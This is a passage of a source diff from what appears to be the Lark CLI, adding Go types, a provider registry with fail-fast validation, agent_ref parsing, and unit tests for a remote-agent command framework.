}
|
||||
}
|
||||
|
||||
// TestStaticCatalogListAgentsSorted asserts the enumeration is sorted by AgentRef
|
||||
// and that two consecutive results are DeepEqual (stable sort, the same contract
|
||||
// asserted by agenttest discovery).
|
||||
func TestStaticCatalogListAgentsSorted(t *testing.T) {
|
||||
c := NewStaticCatalog("cattest", testCatalogEntries())
|
||||
got, err := c.ListAgents(context.Background())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := []AgentSummary{
|
||||
{AgentRef: "cattest:alpha", Name: "Alpha 助手", Description: "a desc"},
|
||||
{AgentRef: "cattest:zeta", Name: "Zeta 助手", Description: "z desc"},
|
||||
}
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Fatalf("ListAgents should be sorted by AgentRef, want %+v got %+v", want, got)
|
||||
}
|
||||
got2, err := c.ListAgents(context.Background())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !reflect.DeepEqual(got, got2) {
|
||||
t.Fatalf("two consecutive ListAgents calls should be DeepEqual, got\n%+v\nvs\n%+v", got, got2)
|
||||
}
|
||||
}
|
||||
|
||||
// TestStaticCatalogDescribe asserts Describe returns the entry's per-agent
|
||||
// Name/Description (the framework fills registration fields and derives
|
||||
// capabilities from the wired Provider fields, so those are not Describe's job).
|
||||
func TestStaticCatalogDescribe(t *testing.T) {
|
||||
c := NewStaticCatalog("cattest", testCatalogEntries())
|
||||
info, err := c.Describe("alpha")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.Name != "Alpha 助手" || info.Description != "a desc" {
|
||||
t.Fatalf("Describe should return the entry Name/Description, got %+v", info)
|
||||
}
|
||||
// Describe carries no capabilities/parameters — those are the framework's job.
|
||||
if len(info.Parameters) != 0 || len(info.Skills) != 0 {
|
||||
t.Fatalf("Describe should not populate Parameters/Skills, got %+v", info)
|
||||
}
|
||||
}
|
||||
|
||||
// TestStaticCatalogUnknownID asserts Lookup / Card return a typed
|
||||
// validation/invalid_argument error for an unknown id (exit 2 rather than
|
||||
// internal/exit 5), with the hint pointing to `agent list <scheme>`.
|
||||
func TestStaticCatalogUnknownID(t *testing.T) {
|
||||
c := NewStaticCatalog("cattest", testCatalogEntries())
|
||||
_, err := c.Lookup("nonexistent")
|
||||
if err == nil {
|
||||
t.Fatal("unknown id should return an error")
|
||||
}
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("unknown id should be an *errs.ValidationError, got %T: %v", err, err)
|
||||
}
|
||||
if ve.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %q", ve.Subtype)
|
||||
}
|
||||
if want := "未知的 cattest agent 'nonexistent'"; ve.Message != want {
|
||||
t.Fatalf("message should be %q, got %q", want, ve.Message)
|
||||
}
|
||||
if want := "运行 lark-cli agent list cattest 查看可用 agent"; ve.Hint != want {
|
||||
t.Fatalf("hint should be %q, got %q", want, ve.Hint)
|
||||
}
|
||||
// Describe goes through the same Lookup path.
|
||||
if _, err := c.Describe("nonexistent"); !errors.As(err, &ve) {
|
||||
t.Fatalf("Describe with an unknown id should return the same typed error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestStaticCatalogDuplicateIDPanic asserts a duplicate entry ID triggers a
|
||||
// fail-fast panic (aligned with the Register convention).
|
||||
func TestStaticCatalogDuplicateIDPanic(t *testing.T) {
|
||||
entries := []CatalogEntry{{ID: "a"}, {ID: "a"}}
|
||||
mustPanic(t, "duplicate entry ID", func() { NewStaticCatalog("cattest", entries) })
|
||||
}
|
||||
94
internal/agent/contract.go
Normal file
94
internal/agent/contract.go
Normal file
@@ -0,0 +1,94 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
// AgentTask is the unified structure that task-family commands put into output.Envelope.Data.
|
||||
type AgentTask struct {
|
||||
TaskID string `json:"task_id"`
|
||||
ContextID string `json:"context_id,omitempty"`
|
||||
State TaskState `json:"state"`
|
||||
IsTerminal bool `json:"is_terminal"`
|
||||
Messages []Message `json:"messages,omitempty"`
|
||||
Artifacts []Artifact `json:"artifacts,omitempty"`
|
||||
InputRequired *InputRequired `json:"input_required,omitempty"`
|
||||
}
|
||||
|
||||
// Message is one turn of an agent or user message, composed of several Parts.
|
||||
type Message struct {
|
||||
Role string `json:"role"` // "agent" | "user"
|
||||
Parts []Part `json:"parts"`
|
||||
}
|
||||
|
||||
// Part is one fragment of a message: text, file, or structured data.
|
||||
type Part struct {
|
||||
Type string `json:"type"` // "text" | "file" | "data"
|
||||
Text string `json:"text,omitempty"`
|
||||
// File/Data pass-through: file uses URL/Name, data uses Data.
|
||||
Name string `json:"name,omitempty"`
|
||||
URL string `json:"url,omitempty"`
|
||||
Data interface{} `json:"data,omitempty"`
|
||||
}
|
||||
|
||||
// Artifact is one artifact produced by a task (file / inline text), downloadable
|
||||
// via URL.
|
||||
//
|
||||
// Its fields align with A2A's Artifact/FilePart, but only what a provider can
|
||||
// truly deliver is populated (e.g. example only provides ID + Kind — the
|
||||
// coarse-grained kind at the GetTask stage — plus Name/Mime at the download
|
||||
// stage). Mime/Description/Size are placeholders under A2A semantics; if a
|
||||
// provider does not yet supply them they are omitted via omitempty and lit up
|
||||
// only once the provider can fill them, rather than creating empty shell fields
|
||||
// that cannot be filled.
|
||||
type Artifact struct {
|
||||
ID string `json:"id"`
|
||||
Kind string `json:"kind,omitempty"` // coarse-grained kind (image/file/...), a type hint before download
|
||||
Name string `json:"name,omitempty"` // file name (with extension), helps choose the -o save name
|
||||
Mime string `json:"mime,omitempty"` // content type (image/png…), empty if the provider does not supply it
|
||||
Description string `json:"description,omitempty"`
|
||||
Size int64 `json:"size,omitempty"` // byte count, 0 if the provider does not supply it
|
||||
URL string `json:"url,omitempty"`
|
||||
Text string `json:"text,omitempty"`
|
||||
}
|
||||
|
||||
// InputRequired describes the input a task requests from the user while in the
|
||||
// input_required state.
|
||||
type InputRequired struct {
|
||||
Prompt string `json:"prompt"`
|
||||
Options []string `json:"options,omitempty"`
|
||||
}
|
||||
|
||||
// TaskSummary is a single task summary in the task list output.
|
||||
type TaskSummary struct {
|
||||
TaskID string `json:"task_id"`
|
||||
ContextID string `json:"context_id,omitempty"`
|
||||
State TaskState `json:"state"`
|
||||
IsTerminal bool `json:"is_terminal"`
|
||||
}
|
||||
|
||||
// ContextSummary is a single context summary in the context list output.
|
||||
type ContextSummary struct {
|
||||
ContextID string `json:"context_id"`
|
||||
CreatedAt string `json:"created_at,omitempty"`
|
||||
Title string `json:"title,omitempty"`
|
||||
}
|
||||
|
||||
// ContextDetail is the context detail in the context get output (including its task list).
|
||||
type ContextDetail struct {
|
||||
ContextID string `json:"context_id"`
|
||||
CreatedAt string `json:"created_at,omitempty"`
|
||||
Title string `json:"title,omitempty"`
|
||||
Tasks []TaskSummary `json:"tasks,omitempty"`
|
||||
}
|
||||
|
||||
// ArtifactData is the return value of DownloadArtifact: the URL type gives URL,
|
||||
// the inline type gives Bytes. Name is the server-suggested file name (echoed
|
||||
// back only as a suggested_name reference for the command layer); it is
|
||||
// untrusted input and must never participate in constructing the local save
|
||||
// path — the save path is always determined by -o/SafeOutputPath.
|
||||
type ArtifactData struct {
|
||||
Name string
|
||||
Mime string
|
||||
URL string
|
||||
Bytes []byte
|
||||
}
|
||||
28
internal/agent/contract_test.go
Normal file
28
internal/agent/contract_test.go
Normal file
@@ -0,0 +1,28 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestAgentTaskJSON(t *testing.T) {
|
||||
at := AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: StateInputRequired,
|
||||
IsTerminal: false,
|
||||
InputRequired: &InputRequired{Prompt: "按大区还是品类拆?", Options: []string{"region", "category"}}}
|
||||
b, _ := json.Marshal(at)
|
||||
var m map[string]interface{}
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if m["state"] != "input_required" {
|
||||
t.Errorf("state=%v", m["state"])
|
||||
}
|
||||
if _, ok := m["input_required"]; !ok {
|
||||
t.Error("input_required should appear in the input_required state")
|
||||
}
|
||||
// unset artifacts should be omitted via omitempty
|
||||
if _, ok := m["artifacts"]; ok {
|
||||
t.Error("artifacts should be omitted via omitempty")
|
||||
}
|
||||
}
|
||||
89
internal/agent/provider.go
Normal file
89
internal/agent/provider.go
Normal file
@@ -0,0 +1,89 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import "context"
|
||||
|
||||
// SendInput is the input to send (Params has already passed Card validation).
|
||||
type SendInput struct {
|
||||
Text string
|
||||
Files []string
|
||||
Params map[string]string
|
||||
ContextID string
|
||||
TaskID string
|
||||
}
|
||||
|
||||
// CardInfo is the per-agent descriptive metadata a provider supplies for its
|
||||
// Card (everything the framework cannot fill from registration data or derive
|
||||
// from capabilities): the display Name/Description, declared input Parameters,
|
||||
// and Skills. It is returned by Provider.Describe.
|
||||
type CardInfo struct {
|
||||
Name string
|
||||
Description string
|
||||
Parameters []CardParam
|
||||
Skills []CardSkill
|
||||
}
|
||||
|
||||
// Provider is a remote agent adapter: it translates the unified commands into a
|
||||
// specific vendor's OAPI. It is a struct of function fields rather than a fat
|
||||
// interface, mirroring the events KeyDefinition / shortcuts Shortcut convention:
|
||||
// a provider fills only the capabilities it supports, and a nil optional field
|
||||
// means "unsupported" — the command layer gates on it and returns a unified
|
||||
// unsupported_capability error before any network access, so a provider never
|
||||
// writes capability-refusal code itself. The Card capability matrix is derived
|
||||
// by the framework from which fields are non-nil (see BuildCard), so declaration
|
||||
// and behavior are single-sourced and cannot drift.
|
||||
//
|
||||
// Because a Provider is constructed per (deps, agentID) by its Factory, a
|
||||
// catalog provider whose agents differ in capability wires different fields per
|
||||
// agentID (see agent/example) — capability is expressed as code, not a
|
||||
// hand-maintained bool matrix.
|
||||
type Provider struct {
|
||||
// ── Core (Register validates both non-nil for every provider) ──
|
||||
|
||||
// Send sends one message, starting a new task or continuing an existing one.
|
||||
Send func(ctx context.Context, in SendInput) (*AgentTask, error)
|
||||
// GetTask queries a single task's state and artifacts.
|
||||
GetTask func(ctx context.Context, taskID string) (*AgentTask, error)
|
||||
|
||||
// ── Optional capabilities (nil = unsupported; framework gates) ──
|
||||
|
||||
// ListTasks lists tasks, optionally filtered by contextID (empty = no filter).
|
||||
// nil ⇒ card task_list=false.
|
||||
ListTasks func(ctx context.Context, contextID string) ([]TaskSummary, error)
|
||||
// CancelTask cancels (interrupts) a task. nil ⇒ card task_cancel=false.
|
||||
CancelTask func(ctx context.Context, taskID string) error
|
||||
// ListContexts lists multi-turn contexts. nil ⇒ card multi_turn=false (the
|
||||
// multi_turn capability is derived from this, the enumeration entry point).
|
||||
ListContexts func(ctx context.Context) ([]ContextSummary, error)
|
||||
// GetContext returns a single context's detail. nil ⇒ context get unsupported.
|
||||
GetContext func(ctx context.Context, ctxID string) (*ContextDetail, error)
|
||||
// DeleteContext deletes a context (destructive). nil ⇒ context delete unsupported.
|
||||
DeleteContext func(ctx context.Context, ctxID string) error
|
||||
// DownloadArtifact fetches artifact data: the URL type returns URL, the inline
|
||||
// type returns Bytes. nil ⇒ card artifact_download=false.
|
||||
DownloadArtifact func(ctx context.Context, taskID, artifactID string) (*ArtifactData, error)
|
||||
// ListAgents enumerates the provider's own agents (catalog discovery). nil ⇒
|
||||
// `agent list <scheme>` reports the provider is not enumerable. A KindCatalog
|
||||
// provider must wire it (asserted at Register time).
|
||||
ListAgents func(ctx context.Context) ([]AgentSummary, error)
|
||||
|
||||
// ── Optional descriptive metadata ──
|
||||
|
||||
// Describe supplies the per-agent Card metadata (Name/Description/Parameters/
|
||||
// Skills) and is the place to validate an unknown agent_id (return a typed
|
||||
// error). nil ⇒ the card carries only registration fields + derived
|
||||
// capabilities. Called at card-display time (may hit the network for an
|
||||
// instance provider that fetches its card remotely).
|
||||
Describe func(ctx context.Context) (*CardInfo, error)
|
||||
|
||||
// ── Behavioral flags (not derivable from method presence) ──
|
||||
|
||||
// FileInput reports whether Send accepts SendInput.Files (drives card
|
||||
// file_input and the --file off-machine-upload confirmation gate).
|
||||
FileInput bool
|
||||
// InputRequired reports whether the agent may pause a task in the
|
||||
// input_required state awaiting more input (drives card input_required).
|
||||
InputRequired bool
|
||||
}
|
||||
29
internal/agent/ref.go
Normal file
29
internal/agent/ref.go
Normal file
@@ -0,0 +1,29 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ErrInvalidRef is the sentinel error for a malformed agent_ref (wrapped into a
|
||||
// validation error by the caller).
|
||||
var ErrInvalidRef = errors.New("agent_ref 格式应为 <provider>:<agent_id>")
|
||||
|
||||
// Ref is the identifier addressing a remote agent: <scheme>:<agent_id>, e.g. example:echo.
|
||||
type Ref struct {
|
||||
Scheme string
|
||||
AgentID string
|
||||
}
|
||||
|
||||
// ParseRef parses a ref string. On a malformed format it returns ErrInvalidRef
|
||||
// (wrapped into a validation error by the caller).
|
||||
func ParseRef(s string) (Ref, error) {
|
||||
parts := strings.SplitN(s, ":", 2)
|
||||
if len(parts) != 2 || parts[0] == "" || parts[1] == "" || strings.Contains(parts[1], ":") {
|
||||
return Ref{}, ErrInvalidRef
|
||||
}
|
||||
return Ref{Scheme: parts[0], AgentID: parts[1]}, nil
|
||||
}
|
||||
24
internal/agent/ref_test.go
Normal file
24
internal/agent/ref_test.go
Normal file
@@ -0,0 +1,24 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestParseRef(t *testing.T) {
|
||||
r, err := ParseRef("example:agt_xxx")
|
||||
if err != nil || r.Scheme != "example" || r.AgentID != "agt_xxx" {
|
||||
t.Fatalf("got %+v err=%v", r, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseRefErrors(t *testing.T) {
|
||||
for _, s := range []string{"", "example", "example:", ":agt", "example:agt:extra"} {
|
||||
if _, err := ParseRef(s); !errors.Is(err, ErrInvalidRef) {
|
||||
t.Errorf("ParseRef(%q) should return ErrInvalidRef, got err=%v", s, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
182
internal/agent/registry.go
Normal file
182
internal/agent/registry.go
Normal file
@@ -0,0 +1,182 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// Deps are the dependencies a provider factory needs (injected by the command
|
||||
// layer to avoid internal/agent depending on cmd).
|
||||
type Deps struct {
|
||||
Client *client.APIClient
|
||||
As core.Identity
|
||||
}
|
||||
|
||||
// Factory constructs a Provider from an agentID plus dependencies.
|
||||
type Factory func(deps Deps, agentID string) (*Provider, error)
|
||||
|
||||
// ProviderKind is the closed set of provider forms (validated at Register time
|
||||
// to guard against cast typos).
|
||||
type ProviderKind string
|
||||
|
||||
const (
|
||||
// KindCatalog is the catalog type: the full agent set is known at
|
||||
// registration time, and it must wire Provider.ListAgents.
|
||||
KindCatalog ProviderKind = "catalog"
|
||||
// KindInstance is the instance type: agents are created by users on the
|
||||
// platform and cannot be enumerated by the CLI in advance.
|
||||
KindInstance ProviderKind = "instance"
|
||||
)
|
||||
|
||||
// ProviderInfo is a provider's registration contract: metadata beyond Factory
|
||||
// consumed by platform capabilities such as `agent list`, card synthesis, and
|
||||
// scope preflight. Everything except RequiredScopes is required (Register
|
||||
// validates fail-fast).
|
||||
type ProviderInfo struct {
|
||||
// Factory constructs the Provider for this scheme. Factory must accept
|
||||
// zero-value Deps and have no side effects during construction — this
|
||||
// contract is enforced at registration time by Register's zero-value Deps
|
||||
// probe (a violation panics), and agent list also constructs a probe
|
||||
// instance with empty Deps to read the ListAgents capability
|
||||
// (cmd/agent/list.go probeDiscoverer). Because the probe passes zero Deps and
|
||||
// empty agentID, capability wiring must not depend on either.
|
||||
Factory Factory
|
||||
// Label is the user-facing provider name.
|
||||
Label string
|
||||
// AgentRefFormat is the written format of agent_ref, e.g. "example:<agent_id>";
|
||||
// it must be prefixed with "<scheme>:" (validated by Register).
|
||||
AgentRefFormat string
|
||||
// AgentIDSource tells the user where to obtain the agent_id (key information
|
||||
// for AI-guided onboarding).
|
||||
AgentIDSource string
|
||||
// Kind is the provider form: KindCatalog (catalog type) or KindInstance
|
||||
// (instance type). Catalog types must wire Provider.ListAgents (asserted at
|
||||
// Register time).
|
||||
Kind ProviderKind
|
||||
// RequiredScopes is the full (flat) set of scopes needed by any real API
|
||||
// call this provider makes; preflight is all-or-nothing.
|
||||
RequiredScopes []string
|
||||
// Identities declares the supported calling identities and their
|
||||
// preconditions; non-empty and Type ∈ {user, bot} (validated by Register).
|
||||
Identities []IdentitySpec
|
||||
}
|
||||
|
||||
var providerRegistry = map[string]ProviderInfo{}
|
||||
|
||||
// Register is called by each adapter package in its init() to register itself
|
||||
// (exported so adapter packages like example can call it across packages).
|
||||
// Missing / invalid metadata is an integrator coding error and panics fail-fast
|
||||
// (including duplicate registration, aligned with the sql.Register convention).
|
||||
// At registration time it also constructs a Provider once via a zero-value Deps
|
||||
// probe: Factory must accept zero-value Deps (returning an error panics), and a
|
||||
// KindCatalog instance must implement Discoverer.
|
||||
func Register(scheme string, info ProviderInfo) {
|
||||
if scheme == "" {
|
||||
panic("agent: provider registration with empty scheme")
|
||||
}
|
||||
if _, dup := providerRegistry[scheme]; dup {
|
||||
panic("agent: Register called twice for scheme: " + scheme)
|
||||
}
|
||||
switch {
|
||||
case info.Factory == nil:
|
||||
panic("agent: provider registration missing Factory: " + scheme)
|
||||
case info.Label == "":
|
||||
panic("agent: provider registration missing Label: " + scheme)
|
||||
case info.AgentRefFormat == "":
|
||||
panic("agent: provider registration missing AgentRefFormat: " + scheme)
|
||||
case !strings.HasPrefix(info.AgentRefFormat, scheme+":"):
|
||||
panic("agent: provider registration AgentRefFormat must start with \"" + scheme + ":\": " + scheme + ", got: " + info.AgentRefFormat)
|
||||
case info.AgentIDSource == "":
|
||||
panic("agent: provider registration missing AgentIDSource: " + scheme)
|
||||
case info.Kind != KindCatalog && info.Kind != KindInstance:
|
||||
panic("agent: provider registration invalid Kind (want catalog|instance): " + scheme + ", got: " + string(info.Kind))
|
||||
case len(info.Identities) == 0:
|
||||
panic("agent: provider registration missing Identities: " + scheme)
|
||||
}
|
||||
for _, id := range info.Identities {
|
||||
if id.Type != IdentityUser && id.Type != IdentityBot {
|
||||
panic("agent: provider registration invalid Identity Type (want user|bot): " + scheme + ", got: " + string(id.Type))
|
||||
}
|
||||
}
|
||||
// Zero-value Deps construction probe: turns the Factory contract (see the
|
||||
// ProviderInfo.Factory comment) from a pure convention into a
|
||||
// registration-time enforcement, preventing capabilities from silently
|
||||
// disappearing on the agent list probing path.
|
||||
p, err := info.Factory(Deps{}, "")
|
||||
if err != nil {
|
||||
panic("agent: provider factory must accept zero-value Deps: " + scheme + ", got error: " + err.Error())
|
||||
}
|
||||
if p == nil {
|
||||
panic("agent: provider factory returned nil Provider: " + scheme)
|
||||
}
|
||||
// Core capabilities are mandatory for every provider — a provider you cannot
|
||||
// send to or read a task back from is not usable. The command layer relies on
|
||||
// these never being nil (no nil-check before dispatch), so enforce it here.
|
||||
switch {
|
||||
case p.Send == nil:
|
||||
panic("agent: provider missing core Send: " + scheme)
|
||||
case p.GetTask == nil:
|
||||
panic("agent: provider missing core GetTask: " + scheme)
|
||||
}
|
||||
// A catalog provider's full agent set is known offline, so it must be
|
||||
// enumerable (wire ListAgents); an instance provider need not be.
|
||||
if info.Kind == KindCatalog && p.ListAgents == nil {
|
||||
panic("agent: catalog provider must wire ListAgents: " + scheme)
|
||||
}
|
||||
providerRegistry[scheme] = info
|
||||
}
|
||||
|
||||
// Info returns the registration value for a scheme (the struct is returned by
|
||||
// value, but its slice fields share the underlying array with the registry, so
|
||||
// the caller must treat them as read-only); returns ok=false if not registered.
|
||||
func Info(scheme string) (ProviderInfo, bool) {
|
||||
info, ok := providerRegistry[scheme]
|
||||
return info, ok
|
||||
}
|
||||
|
||||
// providerFor fetches the factory for a scheme and constructs a Provider. An
|
||||
// unknown scheme returns an error listing the available options.
|
||||
func providerFor(scheme, agentID string, deps Deps) (*Provider, error) {
|
||||
info, ok := providerRegistry[scheme]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("未知的 agent provider '%s',当前支持: %s", scheme, KnownSchemes())
|
||||
}
|
||||
return info.Factory(deps, agentID)
|
||||
}
|
||||
|
||||
// KnownSchemes returns a comma-separated list of registered schemes (stably
|
||||
// sorted), or "(none)" when empty (exported: cmd/agent's unknown-scheme message
|
||||
// reuses the same implementation to avoid double-sourcing).
|
||||
func KnownSchemes() string {
|
||||
s := RegisteredSchemes()
|
||||
if len(s) == 0 {
|
||||
return "(none)"
|
||||
}
|
||||
return strings.Join(s, ", ")
|
||||
}
|
||||
|
||||
// Resolve parses a ref and constructs the corresponding Provider (command-layer entry point).
|
||||
func Resolve(ref string, deps Deps) (*Provider, error) {
|
||||
r, err := ParseRef(ref)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return providerFor(r.Scheme, r.AgentID, deps)
|
||||
}
|
||||
|
||||
// RegisteredSchemes lets `agent list` enumerate registered providers (exported for cmd/agent).
|
||||
func RegisteredSchemes() []string {
|
||||
s := make([]string, 0, len(providerRegistry))
|
||||
for k := range providerRegistry {
|
||||
s = append(s, k)
|
||||
}
|
||||
sort.Strings(s)
|
||||
return s
|
||||
}
|
||||
275
internal/agent/registry_test.go
Normal file
275
internal/agent/registry_test.go
Normal file
@@ -0,0 +1,275 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// swapRegistry replaces the global providerRegistry with the given map (restored
|
||||
// automatically via t.Cleanup), for test isolation. It swaps the global variable
|
||||
// without a lock, so callers must not use t.Parallel.
|
||||
func swapRegistry(t *testing.T, m map[string]ProviderInfo) {
|
||||
t.Helper()
|
||||
saved := providerRegistry
|
||||
providerRegistry = m
|
||||
t.Cleanup(func() { providerRegistry = saved })
|
||||
}
|
||||
|
||||
// okProvider is a minimal valid provider: it wires the two mandatory core fields
|
||||
// (Send/GetTask) so it passes Register's zero-Deps probe. Tests that need extra
|
||||
// capabilities set the fields on the returned struct.
|
||||
func okProvider() *Provider {
|
||||
return &Provider{
|
||||
Send: func(context.Context, SendInput) (*AgentTask, error) { return nil, nil },
|
||||
GetTask: func(context.Context, string) (*AgentTask, error) { return nil, nil },
|
||||
}
|
||||
}
|
||||
|
||||
// okFactory returns a Factory yielding okProvider — the default for cases that
|
||||
// only care about metadata/registry behavior, not capabilities.
|
||||
func okFactory() Factory {
|
||||
return func(Deps, string) (*Provider, error) { return okProvider(), nil }
|
||||
}
|
||||
|
||||
// testInfo builds a minimal ProviderInfo that passes Register validation
|
||||
// (AgentRefFormat is generated from the scheme so it satisfies the prefix check),
|
||||
// reused by cases that only care about the Factory.
|
||||
func testInfo(scheme string, f Factory) ProviderInfo {
|
||||
return ProviderInfo{
|
||||
Factory: f,
|
||||
Label: "test provider",
|
||||
AgentRefFormat: scheme + ":<agent_id>",
|
||||
AgentIDSource: "test source",
|
||||
Kind: KindInstance,
|
||||
Identities: []IdentitySpec{{Type: IdentityUser}},
|
||||
}
|
||||
}
|
||||
|
||||
// mustPanic asserts that fn panics and the message contains wantMsg.
|
||||
func mustPanic(t *testing.T, wantMsg string, fn func()) {
|
||||
t.Helper()
|
||||
defer func() {
|
||||
r := recover()
|
||||
if r == nil {
|
||||
t.Fatalf("should panic (want message containing %q)", wantMsg)
|
||||
}
|
||||
msg, _ := r.(string)
|
||||
if !strings.Contains(msg, wantMsg) {
|
||||
t.Fatalf("panic message should contain %q, got %q", wantMsg, msg)
|
||||
}
|
||||
}()
|
||||
fn()
|
||||
}
|
||||
|
||||
// TestRegisterPanicBranches table-drives the Register fail-fast panic branches
|
||||
// on metadata fields: missing Factory / Label / AgentRefFormat / AgentIDSource /
|
||||
// Identities, an invalid Kind, an invalid Identity Type, and an AgentRefFormat
|
||||
// that does not start with "<scheme>:" (panic messages must carry the actual
|
||||
// offending value). Metadata validation runs before the probe, so a valid
|
||||
// okFactory keeps the probe from firing first.
|
||||
func TestRegisterPanicBranches(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
mutate func(info *ProviderInfo)
|
||||
wantMsg string
|
||||
}{
|
||||
{"missing Factory", func(info *ProviderInfo) { info.Factory = nil }, "missing Factory"},
|
||||
{"missing Label", func(info *ProviderInfo) { info.Label = "" }, "missing Label"},
|
||||
{"missing AgentRefFormat", func(info *ProviderInfo) { info.AgentRefFormat = "" }, "missing AgentRefFormat"},
|
||||
{"missing AgentIDSource", func(info *ProviderInfo) { info.AgentIDSource = "" }, "missing AgentIDSource"},
|
||||
{"invalid Kind", func(info *ProviderInfo) { info.Kind = "weird" }, "got: weird"},
|
||||
{"missing Identities", func(info *ProviderInfo) { info.Identities = nil }, "missing Identities"},
|
||||
{"invalid Identity Type", func(info *ProviderInfo) {
|
||||
info.Identities = []IdentitySpec{{Type: "robot"}}
|
||||
}, "got: robot"},
|
||||
{"AgentRefFormat wrong prefix", func(info *ProviderInfo) {
|
||||
info.AgentRefFormat = "other:<agent_id>"
|
||||
}, "must start with \"bad:\""},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
info := testInfo("bad", okFactory())
|
||||
tc.mutate(&info)
|
||||
mustPanic(t, tc.wantMsg, func() { Register("bad", info) })
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestRegisterEmptyScheme pins the empty-scheme fail-fast branch.
|
||||
func TestRegisterEmptyScheme(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
mustPanic(t, "empty scheme", func() { Register("", testInfo("", okFactory())) })
|
||||
}
|
||||
|
||||
// TestRegisterDuplicateScheme pins the sql.Register-style dup panic.
|
||||
func TestRegisterDuplicateScheme(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
Register("dup", testInfo("dup", okFactory()))
|
||||
mustPanic(t, "called twice for scheme: dup", func() { Register("dup", testInfo("dup", okFactory())) })
|
||||
}
|
||||
|
||||
// TestRegisterFactoryZeroDepsProbe pins the registration-time zero-Deps probe:
|
||||
// a factory erroring under zero-value Deps is a contract violation and panics.
|
||||
func TestRegisterFactoryZeroDepsProbe(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
bad := func(Deps, string) (*Provider, error) { return nil, errors.New("need client") }
|
||||
mustPanic(t, "must accept zero-value Deps", func() { Register("zd", testInfo("zd", bad)) })
|
||||
}
|
||||
|
||||
// TestRegisterNilProvider pins the probe's nil-Provider branch.
|
||||
func TestRegisterNilProvider(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
nilP := func(Deps, string) (*Provider, error) { return nil, nil }
|
||||
mustPanic(t, "returned nil Provider", func() { Register("np", testInfo("np", nilP)) })
|
||||
}
|
||||
|
||||
// TestRegisterMissingCore pins that the mandatory core fields are enforced at
|
||||
// registration: a provider missing Send or GetTask panics fail-fast.
|
||||
func TestRegisterMissingCore(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
noSend := func(Deps, string) (*Provider, error) {
|
||||
return &Provider{GetTask: func(context.Context, string) (*AgentTask, error) { return nil, nil }}, nil
|
||||
}
|
||||
mustPanic(t, "missing core Send", func() { Register("ns", testInfo("ns", noSend)) })
|
||||
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
noGet := func(Deps, string) (*Provider, error) {
|
||||
return &Provider{Send: func(context.Context, SendInput) (*AgentTask, error) { return nil, nil }}, nil
|
||||
}
|
||||
mustPanic(t, "missing core GetTask", func() { Register("ng", testInfo("ng", noGet)) })
|
||||
}
|
||||
|
||||
// TestRegisterCatalogRequiresListAgents pins the catalog-archetype MUST:
|
||||
// a KindCatalog provider whose probe instance does not wire ListAgents panics.
|
||||
// The factory wires the core fields so the panic is specifically about ListAgents
|
||||
// (not a missing-core panic firing first).
|
||||
func TestRegisterCatalogRequiresListAgents(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
info := testInfo("cat", okFactory()) // okProvider wires Send/GetTask but not ListAgents
|
||||
info.Kind = KindCatalog
|
||||
mustPanic(t, "must wire ListAgents", func() { Register("cat", info) })
|
||||
}
|
||||
|
||||
func TestInfoReturnsRegisteredMetadata(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
Register("t1", ProviderInfo{
|
||||
